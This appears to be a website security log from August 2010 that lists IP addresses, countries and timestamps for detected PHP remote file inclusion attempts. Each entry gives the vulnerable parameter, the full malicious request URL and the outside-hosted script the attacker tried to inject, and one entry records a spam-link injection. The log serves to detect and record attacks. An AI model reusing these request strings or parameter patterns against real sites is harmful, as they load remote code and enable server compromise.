69.16.250.177 United States	2	31/08/2010 18 hr 10 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://www.howtolisten.kr/lct/flashmenu/auto1.txt?? Url requested: /crawler/index.php?navig=12&period=103&site=2&crawler=0&order=2& amp;displayall=yes&graphpos=0///modules/postguestbook/styles/internal/header .php?tpl_pgb_moddir=http://www.howtolisten.kr/lct/flashmenu/auto1.txt?? -------------------------------------------------------------------------------------------- /spanishcrawler/index.php?navig=12&period=100&site=2&crawler=0&o rder=2&displayall=yes&graphpos=0///modules/postguestbook/styles/internal /header.php?tpl_pgb_moddir=http://www.howtolisten.kr/lct/flashmenu/auto1.txt??
109.123.102.100 Great Britain	2	31/08/2010 19 hr 36 mn 23 hr 40 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: controller= graphpos= File/script the hacker attempted to inject: http://jimbaran.fileave.com/Ckrid1.txt?? Url requested: /crawler/index.php?navig=18&period=0&site=2&crawler=0&graphpos=0//?_PHPLIB[libdi r]=http://jimbaran.fileave.com/Ckrid1.txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=2&site=2&crawler=Elsop&graphpos=0//index.php? option=com_google&controller=http://jimbaran.fileave.com/Ckrid1.txt??
77.120.98.67 Ukraine	2	31/08/2010 23 hr 19 mn 23 hr 25 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://phamsight.com/docs/images/head????? Url requested: /crawler/index.php?navig=22&period=1&site=2&crawler=0&graphpos=0/bad_link.php?th eme_path=http://phamsight.com/docs/images/head????? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=22&period=1000&site=2&crawler=0&graphpos=0/become_edito r.php?theme_path=http://phamsight.com/docs/images/head?????
178.216.48.205 Unknown	2	30/08/2010 22 hr 05 mn 23 hr 43 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: crawler= File/script the hacker attempted to inject: script crawl http://www.buyhomesd.info script crawl http://www.buyhomesandiego.info/ Url requested: /germancrawler/index.php?navig=16&period=0&site=2&crawler=script+crawl+http://ww w.buyhomesandiego.info/&graphpos=0 -------------------------------------------------------------------------------------------- /germancrawler/index.php?navig=16&period=0&site=2&crawler=script+crawl+http://ww w.buyhomesd.info&graphpos=0
220.227.252.202 India	2	31/08/2010 15 hr 42 mn 16 hr 05 mn	You could be at risk if you run one of these scripts: ? Parameters used for code injection attempts: graphpos= File/script the hacker attempted to inject: http://loraineandassociates.net/head.txt?? Url requested: /crawler/index.php?navig=16&period=5&site=2&crawler=inurl%3A%22com_h tmlarea3_xtd-c%22&graphpos=1//components/com_htmlarea3_xtd-c/popups/ImageMan ager/config.inc.php?mosConfig_absolute_path=http://loraineandassociates.net/head .txt?? -------------------------------------------------------------------------------------------- /crawler/index.php?navig=16&period=5&site=2&crawler=inurl%3A%22com_h tmlarea3_xtd-c%22&graphpos=1/components/com_htmlarea3_xtd-c/popups/ImageMana ger/config.inc.php?mosConfig_absolute_path=http://loraineandassociates.net/head. txt??